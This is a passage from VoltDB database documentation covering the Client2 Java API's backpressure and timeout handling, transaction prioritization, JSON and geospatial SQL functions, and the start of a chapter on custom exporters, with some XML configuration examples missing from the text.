you\ncan make a synchronous call that returns the traditional response object:\nClientResponse resp = client.callProcedureSync(\"AddUser\", username, password);\nHowever, asynchronous calls are where the new Client2 excels. Asynchronous calls return a Completable-\nFuture (a standard Java object) which can then be used to process the response. For example, you can\nassign different actions based on the results of the call:\nCompletableFuture addUserCB;\naddUserCB = client.callProcedure(\"AddUser\",username,password);\naddUserCB.whenComplete( (resp,th) -> processResponse( resp ) );\nAlternately, it is possible to hand off the response to a processing thread:\nclient.callProcedureAsync(\"AddUser\", username, password)\n .thenAcceptAsync((resp) -> processResponse(resp))\n .exceptionally((th) -> processException(th));\n5.3.1. Handling Backpressure\nThe Client2 interface improves the handling of backpressure; that is, when requests are submitted faster\nthan they can be processed. It is possible for an application to submit requests faster than the client API or\nthe VoltDB server can handle them, particularly when using asynchronous calls. To handle this situation,\nthe API tracks all pending requests: this includes requests queued in the API, requests in the network\nlayer, and requests sent to the VoltDB cluster but which have not been completed yet. The application can\nconfigure three limits on the number of requests pending in the client:\n•A high and low watermark, set using .clientRequestBackpressureWarning. If the number of outstand-\ning requests exceeds the high watermark, the application is notified to slow down. If the number of\noutstanding requests then falls below the low watermark, the application is notified that it can resume\nnormal operation.\n25A Modern Java Client Program-\nming Interface (API) for VoltDB\n•A maximum number of requests, set using .clientRequestLimit. Once the client reaches this limit, sub-\nsequent procedure invocations are rejected until the request count drops below the limit again.\nAdditionally, there is a configurable limit on the number of transactions that can be outstanding at the\nVoltDB cluster, set using .outstandingTransactionLimit. For example:\nconfig.clientRequestBackpressureWarning(2500, 1000)\n .clientRequestLimit(3000)\n .outstandingTransactionLimit(1000);\nThis example defines the following rules:\n•When the number of pending requests goes up to 2500, the application is told to slow down. This is\nthe high watermark.\n•When the number or requests falls to 1000 or below, the application is told it can resume normal oper-\nation. This is the low watermark.\n•If the number of pending requests exceeds 3000, callProcedure will refuse to accept any more requests.\n•If the number of outstanding requests submitted to the cluster without a response exceeds 1000, the\nclient automatically adds additional requests to the client queue.\nNotifications for the high and low watermarks are delivered to the application via a callback defined as\npart of the client configuration with the .requestBackpressureHandler() method:\nconfig.requestBackpressureHandler(myQueueWarning);\nIf you want to provide additional context to the event handler, you can define the callback as a local function\nwithin a class and use the \"this::\" syntax, so the callback has access to any context available to the class:\nconfig.requestBackpressureHandler(this::myBackpressureHandler);\nThe callback itself identifies the particular condition by way of a boolean argument it receives. For ex-\nample:\nvoid myQueueWarning (boolean watermark) { \n if(watermark) { // high watermark\n [ ... ]\n } else { // low watermark\n [ ... ]\n }\n}\nThe argument is true when the request count has risen above the high watermark and false when it subse-\nquently drops below the low watermark.\nThe client interface handles reaching the server limit internally. Once the server limit is reached, calls are\nqueued locally until the high watermark is reached. Therefore, in the preceding example, the application\ncan have a total of up to 2000 calls (3000 - 1000) pending transmission before the client refuses to queue\nany more.\n5.3.2. Handling Request Timeouts\nThere are configurable limits for how long a request can be queued before it \"times out\". Requests can time\nout at the client before being sent to the server or after being sent. The error responses generated for these\ncases each have distinct status codes, allowing the application to easily identify each failure condition.\n26A Modern Java Client Program-\nming Interface (API) for VoltDB\n5.3.3. Defining Options on a Per-Call Basis\nSome invocation attributes defined in the configuration by Client2Config can be overridden on a per-call\nbasis by means of an options object. You create a new option object with Client2CallOptions, then apply\nit to a procedure call as the first argument. For example, the following code sets a call-specific timeout\nof 1,234 microseconds and a priority of 3:\nClient2CallOptions opts = new Client2CallOptions()\n .clientTimeout(1234, TimeUnit.MICROSECONDS)\n .requestPriority(3);\naddUserCB = callProcedureAsync(opts, \"AddUser\", username, password);\nOptions that are not specified in Client2CallOptions are defined by the configuration settings (or their\ndefaults), so the interface is extensible without forcing application code changes.\n27Chapter 6. Priorizing Transacons\nBy default, VoltDB execution queues operate on a FIFO (first in, first out) basis. Which is sufficient for\nmany applications, given the high volume of throughput VoltDB can achieve.\nHowever, there are cases where you may want to prioritize certain business critical transactions over oth-\ners. The latest VoltDB Java client programming interface (Client2) allows you to specify a priority for\nindividual invocations of procedures to ensure that the transactions that are important to you are given the\nappropriate attention by the system. This chapter explains:\n•How prioritization works\n•How to enable prioritization\n•How to specify the priority for individual invocations\n•How to prioritize classes of transactions, such as import, topics, snapshots, and database replication (DR)\n6.1. How Prioritizing Transactions Works\nLet's look at the voter sample application included with the VoltDB software to help us understand how\nprioritization works. Normally, the transactions execute on a first in, first out basis (see Figure A below).\nIn the case of the voter application, the critical transactions are the votes being counted by the Vote stored\nprocedure. If you were to prioritize the transactions you are likely to prioritize Vote over Results, which\nis a convenience procedure that simply provides a summary of the voting thus far and does not need\ninstantaneous response time.\nNow, as the application is currently written, the Results procedure does not need prioritizing because it\nonly runs once every five seconds and has little impact on the voting (see Figure B). However, if you make\nthe summary report available on request, it is conceivable that people repeatedly refreshing the report,\ngenerating multiple invocations of the Results procedure, could delay processing of the Vote procedure\n(see Figure C).\n28Prioritizing Transactions\nThe solution is to prioritize the transactions, so that the Vote invocations are processed more frequently\nthan Results invocations. In VoltDB, when you enable prioritized queuing, you can specify a priority from\n1 to 8: priority 1 being the most critical and priority 8 being the least.1\nTwo things happen internally when you prioritize a stored procedure call:\n•First, the client itself prioritizes the requests. If the application is making database calls faster than the\nserver can queue them, the client prioritizes the backlog of requests and sends them to the server(s)\nbased on the priority assigned to each invocation.\n•Once the requests reach the partition on the server, the individual transactions are sorted into separate\nqueues for each priority value. Then the execution engine processes the transactions based on those\npriorities, processing transactions from the high priority queues more frequently than from the lower\npriority queues.\nFigure D shows how by assigning different priorities to the Vote and Results procedures (1 and 5, respec-\ntively), you can ensure more Vote invocations run and ad hoc Results requests cannot overwhelm the sys-\ntem.\n1There are actually nine priority levels, from zero (0) to eight. The most critical, priority zero, is reserved for system functions and cannot be\nspecified by the user.\n29Prioritizing Transactions\n6.2. Enabling Prioritized Transactions\nThe first thing you must do to prioritize your transactions is to enable priority queues on the server. You\ndo this by enabling (a child element of ) in the database config-\nuration file. For example:\n \n \n \nYou must set this property when you initialize the database root directory. You cannot change the queueing\nbehavior after the database starts.\n6.3. Prioritizing Transactions at Runtime\nYou prioritize an individual transaction by specifying the priority as an option during the procedure call.\nNote that you must be using the new Client2 Java client API to do this. For example, to set the priority\nfor the Vote procedure invocation to one (1), you create a Client2CallOptions object with the priority set\nto 1, then include it as the first argument to the procedure call:\nClient2CallOptions voteprio = new Client2CallOptions()\n .requestPriority(1);\nCompletableFuture votecf;\n30Prioritizing Transactions\nvotecf = client.callProcedureAsync( voteprio , \"Vote\", \n phonenum, contestant, maxvotes);\nSimilarly, if you want to assign the Report procedure a priority of five (5), you specify the priority in that\nprocedure’s invocation option:\nClient2CallOptions resultprio = new Client2CallOptions()\n .requestPriority(5);\nCompletableFuture resultcf;\nresultcf = client.callProcedureAsync( resultprio , \"Results\");\nAlternately, you can leave off the priority parameter and let the invocation receive a default value. So,\nfor example, you can set the default priority to five with the .requestPriority method as part of the client\nconfiguration, and use call options to raise the priority of calls to the Vote procedure:\nClient2Config config = new Client2Config()\n .requestPriority(5);\nClient2 client = ClientFactory.createClient(config);\n [ ... ]\nvotecf = client.callProcedureAsync( voteprio , \"Vote\", \n phonenum, contestant, maxvotes);\nresultcf = client.callProcedureAsync(\"Results\");\nIt is important to note that you can and should reuse call options for multiple calls that require the same\noptions, rather than creating a new Client2Calloptions object for each call.\n6.4. Prioritizing Other Types of Transactions\nThere are many other types of transactions besides just stored procedure calls. There are transactions\nassociated with database replication (DR) and snapshots, as well as transactions associated with import\nand topics. You cannot set a priority for individual instances of these more automated transactions, but\nyou can set a priority for them as a group or class as part of the database configuration.\nYou specify the priority for snapshot and DR transactions in the configuration file using subelements of\n/ . Each subelement takes an attribute, priority , that sets the\npriority of that class of transactions. For example, the following configuration sets the priority of DR\ntransactions to 3 and snapshots to 7:\n \n \n \n \n \n \nFor import and topics, you can specify a priority for the transactions associated with individual import\nconfigurations and individual topics.You specify the priority as an attribute of the or\n element for that target. For example, the following configuration sets the priority for the Kafka\nimport configuration at 3 and the priority for the alerts and misc topics at 2 and 7, respectively:\n\n31Prioritizing Transactions\n \n [ ...]\n \n \n\n \n \n \n32Chapter 7. Creang Flexible Schemas\nWith JSON\nA major part of any relational database is the schema: the structure of the data as defined by the tables and\ncolumns. It is possible to change the schema when necessary. However, at any given time, each table has\na set number of columns, each with a specific name and datatype.\nIt is possible to store unstructured data in a relational database as a \"blob\" using a VARBINARY or\nVARCHAR column. However, the database has no way to operate on your data effectively beyond simply\nstoring and retrieving it.\nSometimes data is not as strictly organized as a relational database schema requires, but does have structure\nwithin it. For example, a table may have a set of properties, each with a different name and matching value.\nBut not all records use the same set of properties.\nJSON (JavaScript Object Notation) is a light-weight data interchange format that lets you describe data\nstructures on the fly. JSON-encoded strings are composed of a hierarchy of key-value pairs that can be\nas simple or as complex as needed. More importantly, the actual structure of the object is determined at\nrun-time and does not need to be predefined.\nVoltDB gives you the ability to mix the efficiency of the relational schema with the flexibility of JSON.\nBy using JSON-encoded columns with VoltDB SQL functions and index capabilities, you can work more\nnaturally with JSON data while maintaining the efficiency and transactional consistency of a relational\ndatabase.\n7.1. Using JSON Data Structures as VoltDB Con-\ntent\nJSON processing is easiest to understand by example. For the purposes of this chapter, we will use the\nexample of a single sign-on (SSO) application using VoltDB. The application needs to store login sessions\nfor multiple online sites under a common username. Each login session must manage different properties\ndescribing the state of the session, where properties can vary from simple data values to more complex data\nstructures. Additionally, future enhancements to the application may change what properties are required.\nBecause of the variability of the data, a good strategy is to store this session information as JSON data\nstructures.\nTo store JSON data in VoltDB, you declare the storage as a standard VARCHAR column, large enough\nto contain the maximum expected length of the JSON data. For example, the following table declaration\nincludes a VARCHAR column named session_info with a maximum length of 2048 characters.\nCREATE TABLE user_session_table (\n username VARCHAR(200) UNIQUE NOT NULL,\n password VARCHAR(100) NOT NULL,\n global_session_id VARCHAR(200) ASSUMEUNIQUE NOT NULL,\n last_accessed TIMESTAMP,\n session_info VARCHAR(2048)\n);\nPARTITION TABLE user_session_table ON COLUMN username;\nThe JSON data is stored as text and it is up to your application to perform the conversion from an in-\nmemory structure to the textual representation. For example, the VoltDB software kit includes an example,\n33Creating Flexible\nSchemas With JSON\njson-sessions , that provides a version of the application described here, which uses an open source package\nfrom Google called GSON to convert from plain old Java objects (POJOs) to text and vice versa.\nOnce you have a text representation of the JSON object, you insert it into the database column using\nstandard SQL syntax. For example:\nINSERT INTO user_session_table (username, password,\n global_session_id, \n last_accessed, session_info) \n VALUES (?, ?, ?, ?, ?);\nNote that VoltDB does not validate that the text being inserted into the VARCHAR column is properly\nencoded JSON. Validation of the encoding occurs when accessing such columns using the JSON-specific\nfunctions, described next.\n7.2. Querying JSON Data\nVoltDB provides four functions to help you interact effectively with JSON data stored in VARCHAR\ncolumns. Each function takes a JSON-encoded text string as the first argument, followed by other argu-\nments required for the operation.\nFunction Description\nARRAY_ELEMENT( json, array-index ) Returns the value of a specific element in a JSON\narray.\nARRAY_LENGTH( json) Returns the number of elements in a JSON array\nFIELD(json, path-name ) Returns the value of a specific field in a JSON struc-\nture, where the field is identified by path name.\nSET_FIELD( json, path-name , new-value ) Returns a JSON structure where the specified field's\nvalue is updated.\nIn the simple case where the JSON is a flat list of named fields, the FIELD() function can extract the value\nof one of the fields:\nSELECT username, FIELD(session_info,'website') AS url\n FROM user_session_table WHERE username=?;\nThe FIELD() can also take a path name for more complex JSON structures. For example, if the properties\nfield is itself a list of named fields, you can drill down into the structure using a path, like so:\nSELECT username, FIELD(session_info,'website') AS url,\n FIELD(session_info,'properties.last_login') AS last_login\n FROM user_session_table WHERE username=?;\nFor structures containing arrays, you can use ARRAY_ELEMENT() to extract a specific element from the\narray by position. For example, the following SELECT statement extracts the first element from a JSON\ncolumn named recent_history. (The array index is zero-based.)\nSELECT username, \n ARRAY_ELEMENT(recent_history,0) AS most_recent\n FROM user_history WHERE username=?;\nFinally, you can nest the functions to perform more complex queries. Say rather than being a separate\ncolumn, the named array recent_history is a subelement of the properties field in the session_info column,\nthe following query retrieves the last element from the recent_history array:\n34Creating Flexible\nSchemas With JSON\nSELECT username, \n ARRAY_ELEMENT(FIELD(session_info,'properties.recent_history'),\n ARRAY_LENGTH(FIELD(session_info,'properties.recent_history'))-1) \n AS oldest\n FROM user_session_table WHERE username=?;\nNote that, as mentioned earlier, VoltDB does not validate the correctness of the JSON-encoded string\non input into a VARCHAR column. Instead, VoltDB validates the data when one of the JSON functions\nattempts to parse the encoded string. If the data is not a valid JSON-encoded string, the function will throw\nan exception at run-time and rollback the transaction.\n7.3. Updating JSON Data\nThe JSON functions can not only query the JSON-encoded data, they let you modify a JSON-encoded\nstring in place. The SET_FIELD() function takes JSON data as input and returns the same JSON structure\nbut with the specified field updated. For example, using the user_session_table described in the previous\nsection, it is possible to update the last_login property in the JSON column session_info with a single\nSQL statement:\nUPDATE user_session_table \n SET session_info = SET_FIELD(session_info,'properties.last_login',?)\n WHERE username=? AND global_session_id=?;\nAgain, the JSON functions can be nested to perform more complex operations. In the following example,\nthe UPDATE statement takes a full JSON encoded-string as input for the session_info column, but merges\nit with the properties value from the existing record.\nCREATE PROCEDURE merge_properties AS\n PARTITION ON TABLE user_session_table COLUMN username\n AS\n UPDATE user_session_table \n SET session_inf = SET_FIELD(?,'properties',\n FIELD(session_info,'properties'))\n WHERE username=?;\n7.4. Indexing JSON Fields\nThe JSON functions perform significant string processing to encode and decode the JSON structures. If\nthe table does not have appropriate indexes, the extra processing required for JSON columns added to the\nneed to scan all of the records in the table can quickly result in undesirable latency. The solution is to\nindex the pertinent JSON operations.\nTo speed up query execution for JSON queries, you can define an index on the commonly accessed fields,\nincluding the commonly used function instances. For example, the following index definitions can signif-\nicantly improve the execution time for queries described in the previous sections:\nCREATE INDEX session_index_last_login\n ON user_session_table (\n field(session_info, 'properties.last_login'), \n username\n );\nCREATE INDEX session_index_history \n ON user_session_table (\n35Creating Flexible\nSchemas With JSON\n ARRAY_ELEMENT(FIELD(session_info,'properties.recent_history'),\n ARRAY_LENGTH(FIELD(session_info,'properties.recent_history'))-1),\n username\n );\nThese are fully functional SQL indexes. Whenever you create or update a record in the user_session_table\ntable, VoltDB executes the JSON functions and stores the result inside the index. When you query by that\nsame function in the future, VoltDB uses the index avoids both the table scan and repeating the JSON\nstring processing.\n7.5. Summary: Using JSON in VoltDB\nOne of the major benefits of encoding data as JSON is that you do not have to predefine what structure\nor shape the data has. Further, the shape of the data can vary from one row to the next. The schema for\nJSON columns are defined by the data itself, rather than having to define the structure using SQL ahead\nof time. If a new field is needed, you simply create the appropriate data object in whatever programming\nlanguage you are using, serialize it to JSON, and store it in VoltDB. This avoids the need to change the\ndatabase schema anytime these temporary data structures change.\nOn the other hand, when using JSON columns you should be aware of the following drawbacks:\n•Your application must be intelligent enough to interpret the various structures that appear in the JSON\ncolumns.\n•Evaluating JSON data using the VoltDB JSON functions requires additional processing overhead. JSON\nis excellent for managing fluid data structures, but it is always significantly faster to used a predefined\nSQL schema when possible.\n•You must be sensitive to when indexes are needed, should query patterns or the data structures change.\nThis may, for example, require you to add (or modify) indexes based on the existence of new JSON\nfields.\nAnother point of note is that there is a size limit for JSON values. In VoltDB, the VARCHAR columns\nused to store JSON values are limited to one megabyte (1048576 bytes). JSON support lets you augment\nthe existing relational model within VoltDB. However, it is not intended or appropriate as a replacement\nfor pure blob-oriented document stores.\n36Chapter 8. Creang Geospaal\nApplicaons\nVoltDB provides standard datatypes for storing common numeric and textual content. It also provides\nsupport for JSON within VARCHAR columns to handle semi-structured content, as described in the pre-\nceding chapter . But not all application data can be efficiently managed using just the standard datatypes.\nOne example of an application area requiring special handling is geospatial data — that is, information\nabout locations and regions on the earth. It is possible to store geospatial data using standard datatypes;\nfor example, storing longitude and latitude as two separate FLOAT columns. However, by storing the data\nin generic datatype columns the information loses its context. For example, using separate columns it is\nimpossible to tell how far apart two points are or whether those points are part of a larger geometric shape.\nTo simplify the use of geospatial information, VoltDB includes two geospatial datatypes and a number of\nfunctions that help you evaluate and operate on that data. This chapter describes the new datatypes and\nprovides basic information on how to input and use that data in stored procedures and SQL queries.\n8.1. The Geospatial Datatypes\nVoltDB supports two geospatial datatypes:\n•GEOGRAPHY\n•GEOGRAPHY_POINT\nThe GEOGRAPHY datatype supports geographical regions defined as polygons. The GEOGRA-\nPHY_POINT datatype defines a single point using a pair of longitude and latitude values. Both datatypes\ncan be represented as text in an industry format known as Well Known Text (WKT) defined by the Open\nGeospatial Consortium (OGC) . VoltDB provides functions for converting WKT representations to both\nGEOGRAPHY and GEOGRPAHY_POINT values. WKT is also how values of these types are displayed\nby sqlcmd and the VoltDB Management Center. Since GEOGRAPHY_POINT is the simpler of the two\npoints, we will discuss it first.\n8.1.1. The GEOGRAPHY_POINT Datatype\nA GEOGRAPHY_POINT represents a single point on earth as defined by a longitude and latitude value.\nThe WKT representation of a GEOGRAPHY_POINT value is the following:\nPOINT ( longitude-value latitude-value )\nThe longitude is a floating point value between 180 and -180 inclusive. The latitude is a floating point\nvalue between 90 and -90 inclusive.\n8.1.2. The GEOGRAPHY Datatype\nThe GEOGRAPHY datatype defines a bounded region of the earth represented by one or more polygons.\nThe first polygon, or ring, describes the outer boundary of the region. Subsequent rings within the WKT\nrepresentation describe \"holes\" within the outer region. So, for example, the following shaded region is\ndescribed by three rings:\n•The outer ring, A\n37Creating Geospatial Applications\n•Two inner rings, B and C\nIn the WKT representation, the outer ring must be listed first, with the vertices listed in counter-clockwise\norder (e.g. A5, A4, A3, A2, A1). The inner rings, if any, are listed next with the vertices in clockwise order\n(e.g. B1, B2, B3). The lines of the rings must not cross or overlap and the description of each ring must\nlist the starting vertex twice: as both the first and last vertex.\nNote that, although the individual rings must not cross and vertices must be in the correct order for the\ngeospatial functions to generate valid results, the correctness of the polygon is not checked by VoltDB\nwhen the GEOGRAPHY data is inserted. If you are unsure of the correctness of the originating data, you\ncan use the ISVALID() and ISINVALIDREASON() functions to validate GEOGRAPHY values within\na SQL query.\nThe WKT representation of a GEOGRAPHY value is the following, where each vertex-list is a com-\nma-separated list of longitude and latitude values describing a single ring:\nPOLYGON ( ( vertex-list ) [ , ( vertex-list ) ]... )\nFor example, the simplest polygon, which consists of a single outer ring of three vertices, could be rep-\nresented like this:\nPOLYGON ( ( 1.5 3.0, 0.0 0.0, 3.0 0.0, 1.5 3.0 ) )\nFor a polygon with two inner rings, the WKT might look like the following:\nPOLYGON ( ( 1.5 3.0, 0.0 0.0, 3.0 0.0, 1.5 3.0 ),\n ( 1.0 1.0, 1.5 0.5, 0.5 0.5, 1.0 1.0 ),\n ( 2.0 1.0, 2.5 0.5, 1.5 0.5, 2.0 1.0 ) )\n8.1.3. Sizing GEOGRAPHY Columns\nGEOGRAPHY polygons, unlike GEOGRAPHY_POINT values, do not have a fixed size. The memory\nrequired to store a GEOGRAPHY column varies depending on the number of rings and the number of\nvertices in each ring. In this way, GEOGRAPHY columns are treated much like VARCHAR and VAR-\nBINARY columns when VoltDB manages their allocation and storage.\nFor convenience, VoltDB provides a default maximum size for GEOGRAPHY columns. So if you declare\nthe column without a specific size, it is assigned a maximum size of 32 kilobytes (32768 bytes):\nCREATE TABLE Country (\n Name VARCHAR(32),\n38Creating Geospatial Applications\n Border GEOGRAPHY\n);\nHowever, for very large polygons, this default size may be too small. Or, if you have GEOGRAPHY\ncolumns mixed with large VARCHAR columns in a single table, the default may be too large because\nthere is a two megabyte limit for the sum of the columns in a single table.\nYou can specify your own maximum size for a GEOGRAPHY column, in bytes, by including the maxi-\nmum size in parentheses after the datatype keyword, the same way you do for VARCHAR columns. For\nexample, the following CREATE TABLE statement defines the maximum size of the border column as\n1024 bytes:\nCREATE TABLE Country (\n Name VARCHAR(32),\n Border GEOGRAPHY(1024)\n);\nTo determine how much space is required to store any polygon, use the following calculation:\n•40 bytes for the polygon\n•43 bytes for every ring\n•24 bytes for every vertex\nNote that when counting the vertices, although the starting vertex must be listed twice in the WKT repre-\nsentation, it is only stored once and therefore only counted once in the memory allocation. For example,\nthe memory calculation for a polygon with an outer ring with 10 vertices and 3 inner rings with 8 vertices\neach would be the following:\n 40 bytes\n 172 bytes ( 43 X 4 rings )\n 816 bytes ( 24 X 34 total vertices )\n ------------\n 1028 bytes total\nThe largest maximum size you can specify for a GEOGRAPHY column, or any column in VoltDB, is\none megabyte.\n8.1.4. How Geospatial Values are Interpreted\nThe earth itself is not uniformly round. However, measurements accurate enough for most applications\ncan be achieved by assuming a perfect sphere and mapping the longitude and latitude coordinates onto\nthat sphere. For calculating distances between locations and areas of regions VoltDB assumes a sphere\nwith a radius matching the mean radius of the earth, or 6,371,008.8 meters. Although an approximation,\nthis model provides distance calculations accurate to within three tenths of a percent (0.3%) of other, more\nelaborate geospatial models. What this means is, when calculating the distance between two points that\nare a kilometer apart, the answer computed by the DISTANCE() function may vary up to 3 meters from\ncalculations using other techniques.\n8.2. Entering Geospatial Data\nAs mentioned earlier, Well Known Text (WKT) is the standard presentation VoltDB uses for ingesting and\nreporting on geospatial data. However, you cannot insert WKT text strings directly as geospatial values.\n39Creating Geospatial Applications\nInstead, VoltDB provides SQL functions and Java classes and methods for translating from WKT to the\ninternal geospatial values.\nIn SQL statements you can use the POINTFROMTEXT() and POLYGONFROMTEXT() functions to\ngenerate the appropriate geospatial datatypes from WKT. For example, the following SQL statement in-\nserts the geographic location of New York City into the GEOGRAPHY_POINT column location:\nINSERT INTO CITIES (name, location) VALUES\n ('New York City', POINTFROMTEXT(' POINT(-74.0059 40.7127) ');\nIn a Java stored procedure you can generate and store a GEOGRAPHY or GEOGRAPHY_POINT val-\nue from WKT using the classes GeographyValue and GeographyPointValue and the method\n.fromWKT() . For example, the following stored procedure takes two Java String objects, converts them\nto GEOGRAPHY and GEOGRAPHY_POINT values, then inserts them into a record via placeholders in\nthe SQL statement:\nimport org.voltdb.*;\nimport org.voltdb.types.GeographyValue;\nimport org.voltdb.types.GeographyPointValue; \npublic class InsertGeo extends VoltProcedure {\n public final SQLStmt insertrec = new SQLStmt(\n \"INSERT INTO region VALUES (?,?,?);\" );\n public VoltTable[] run( \n String name, String poly, String point)\n throws VoltAbortException {\n \n GeographyValue g = GeographyValue.fromWKT (poly);\n GeographyPointValue p = GeographyPointValue.fromWKT (point);\n voltQueueSQL( insertrec, name, p, g);\n return voltExecuteSQL();\n }\n}\nA third option is to use the .fromWKT() method to create instances of GeographyValue and Geography-\nPointValue in the client application and pass the data to the stored procedure as native geospatial types.\nWhen retrieving geospatial data from the database, the ASTEXT() SQL function converts from a GE-\nOGRAPHY or GEOGRAPHY_POINT value to its textual representation. (You can also use the CAST(\nvalue AS VARCHAR) function). In a stored procedure or Java client application, you can use the\n.toString() method of the GeographyValue or GeographyPointValue class.\n8.3. Working With Geospatial Data\nIn addition to the classes, methods, and functions to insert and extract geospatial data from the database,\nVoltDB provides other SQL functions to help you manipulate the data. The functions fall into three main\ncategories:\n•Converting to and from WKT representations:\nASTEXT()\nPOLYGONFROMTEXT()\n40Creating Geospatial Applications\nPOINTFROMTEXT()\nVALIDPOLYGONFROMTEXT()\n•Performing geospatial calculations:\nAREA()\nCENTROID()\nCONTAINS()\nDISTANCE()\nDWITHIN()\nLATITUDE()\nLONGITUDE()\n•Analyzing the structure of a region:\nMAKEVALIDPOLYGON()\nISVALID()\nISINVALIDREASON()\nNUMINTERIORRINGS()\nNUMPOINTS()\nThe following sections provide examples of using these functions on both locations and regions.\n8.3.1. Working With Locations\nFor geospatial locations, the data is often available as numeric values — longitude and latitude — rather\nthan as WKT. In this case, you need to convert the numeric data to WKT before converting and inserting\nit as a GEOGRAPHY_POINT value.\nFor example, The VoltDB Tutorial uses data from the US Geographic Names Information Service (GNIS)\nto create a database of geographic locations. The original source data also includes the longitude and\nlatitude of those locations. So it is easy to modify the database schema to add a location for each town:\nCREATE TABLE towns (\n town VARCHAR(64),\n state VARCHAR(2),\n state_num TINYINT NOT NULL,\n county VARCHAR(64),\n county_num SMALLINT NOT NULL,\n location GEOGRAPHY_POINT ,\n elevation INTEGER\n);\nHowever, the incoming data includes two floating point values rather than a GEOGRAPHY_POINT value\nor WKT. One solution is to create a simple stored procedure to perform the conversion to WKT and insert\nthe record using the POINTFROMTEXT() function:\npublic class InsertTown extends VoltProcedure {\n public final SQLStmt insertrec = new SQLStmt(\n \"INSERT INTO TOWNS VALUES (?,?,?,?,?, POINTFROMTEXT (?),?);\"\n );\n public VoltTable[] run( String t, String s, byte sn,\n String c, short cn,\n41Creating Geospatial Applications\n double latitude, double longitude,\n long e)\n throws VoltAbortException {\n String wkt = \"POINT( \" + \n String.valueOf(longitude) + \" \" +\n String.valueOf(latitude) + \")\";\n voltQueueSQL( insertrec, t,s,sn, c, cn, wkt, e);\n return voltExecuteSQL();\n }\n}\nOnce the data is imported into the database, it is possible to use the geospatial functions to perform mean-\ningful queries on the locations, such as determining which town is closest to a specific location (such as\na cell phone user):\nSELECT town, state FROM TOWNS \n ORDER BY DISTANCE(location,CAST(? AS GEOGRAPHY_POINT)) \n ASC LIMIT 1;\nOr which town is furthest north:\nSELECT town, state FROM TOWNS ORDER BY LATITUDE(location) DESC LIMIT 1;\n8.3.2. Working With Regions\nThe textual representation for regions, or polygons, are not as easily constructed as geographic points.\nTherefore if you do not have region data already in WKT, your client application will need to generate\nWKT from whatever source data you are using.\nOnce you have the WKT representation, you can insert the data using a simple stored procedure similar\nto the example given above for locations. Since the data is already in WKT, you can even define the\nstored procedure using a CREATE PROCEDURE AS statement. The following example defines a table\nfor storing information about the names and regions of national parks. It also defines the insert procedure\nfor ingesting records from existing WKT data:\nCREATE TABLE parks (\n park VARCHAR(64),\n park_code VARCHAR(2),\n border GEOGRAPHY\n);\nCREATE PROCEDURE InsertPark AS\n INSERT INTO parks VALUES (?,?, POLYGONFROMTEXT(?) );\nAs mentioned before, VoltDB does not validate the structure of the GEOGRAPHY polygon on input. So,\nif you are not positive the WKT representation meets the rules for a valid polygon, you should use the\nISVALID() function on the GEOGRAPHY value before or after insertion to verify that your data is correct.\nFor example, the following SQL statement uses the ISVALID() and ISINVALIDREASON() functions to\nreport on all invalid park regions and the reason for the exception:\nSELECT park, park_code, ISINVALIDREASON(border) \n FROM Parks WHERE NOT ISVALID(border) ORDER BY park;\nAlternately, you can use the VALIDPOLGYONFROMTEXT() function which combines the POLYGON-\nFROMTEXT() and ISVALID() functions into a single function, ensuring that only valid polygons are\ngenerated. The preceding InsertPark can be rewritten to validate the incoming data like so:\n42Creating Geospatial Applications\nCREATE PROCEDURE InsertPark AS\n INSERT INTO parks VALUES (?,?, VALIDPOLYGONFROMTEXT(?) );\nOf course, the rewritten procedure will take incrementally longer because it performs both the conver-\nsion and validation. However, it performs these functions in a single step. The VALIDPOLYGONFROM-\nTEXT() function will also correct simple errors in the WKT input. Specifically, it will correct any rings\nwhere the vertices are listed in the wrong direction.\nOnce you know your GEOGRAPHY data is valid, you can use the geospatial SQL functions to perform\nmeaningful queries on the data. (If the polygons are not valid, the geospatial functions will not generate\nan error but will also not produce meaningful results.) The functions that perform calculations on GEOG-\nRAPHY values are:\n•AREA() — the area of a region\n•CENTROID() — the geographic center point of a region\n•CONTAINS() — Whether a region contains a given point\n•DISTANCE() — distance between a point and a region (or between two points)\nFor example, the following SQL queries determine the three largest parks, what parks are closest to a given\ntown, and what towns are contained with the region of a given park:\nSELECT park, AREA(border) FROM Parks \n ORDER BY AREA(border) DESC LIMIT 3;\nSELECT p.park, DISTANCE(p.border,t.location)\n FROM parks AS P, towns AS T WHERE t.town=? \n ORDER BY DISTANCE(p.border,t.location) ASC LIMIT 5;\nSELECT t.town FROM parks AS P, towns AS T \n WHERE p.park=? AND CONTAINS(p.border,t.location);\n43Chapter 9. Creang Custom Importers,\nExporters, and Formaers\nVoltDB includes built-in export and import connectors for a number of standard formats, such as CSV\nfiles, JDBC, Kafka topics, and so on. If you have a data source or destination not currently covered by\nconnectors provided by VoltDB, you could write a custom application to perform the translation. However,\nyou would then need to manually coordinate the starting and stopping of your application with the starting\nand stopping of the database.\nA better approach is to create a custom import or export connector. Custom connectors run within the\nVoltDB process and use the standard mechanisms in VoltDB for synchronizing the running of the connec-\ntor with the database itself. You write custom connectors as Java classes, packaged in a JAR file, which\nVoltDB can access at runtime. This chapter provides instructions and sample code for writing, installing,\nand configuring custom export and import connectors. It also describes how to write custom formatters\nthat can be used to interpret the input coming from an import connector.\n9.1. Writing a Custom Exporter\nWarning\nNote that the VoltDB export subsystem has been extensively enhanced and improved and the\noriginal custom export interface is now deprecated, since it no longer supports all the necessary\nfeatures. The following sections describe the latest custom interface (introduced in VoltDB V8),\nwhich uses the same method names, but uses different signatures.\nTo use the new, supported interface, the onBlockStart(), onBlockCompletion(), and processRow()\nmethods must accept a single exportRow object, as described in the following sections. The older,\ndeprecated interface where the methods accept no arguments, or in the case of processRow(), two\narguments, will no longer be supported after the next major release.\nAn export connector, known internally as an ExportClient, is a Java class that receives blocks of row data\nwhen data is inserted into a stream within the database. The export connector is responsible for formatting\nand passing those rows to the downstream export target. The following sections describe:\n•The Structure and Workflow of the Export Client\n•How to Use Custom Properties to Configure the Client\n•How to Compile and Install the Client\n•How to Configure the Export Client\n9.1.1. The Structure and Workflow of the Export Client\nThe custom export client is declared as a Java subclass extending ExportClientBase. Within the subclass\nyou can override the configure() method, which receives any properties defined in the export connection\nconfiguration. The subclass must also declare the constructExportDecoder() method, which in turn gen-\nerates a subclass of ExportDecoderBase. This extension of ExportDecoderBase is the class that does the\nactual work at run time and must override the primary methods sourceNoLongerAdvertised(), onBlockS-\n44Creating Custom Importers,\nExporters, and Formatters\ntart(), processRow(), and onBlockCompletion. Figure 9.1, “Structure of the Custom Export Class” illus-\ntrates the structure of the custom client.\nFigure 9.1. Structure of the Custom Export Class\nAt run time, VoltDB passes data to the 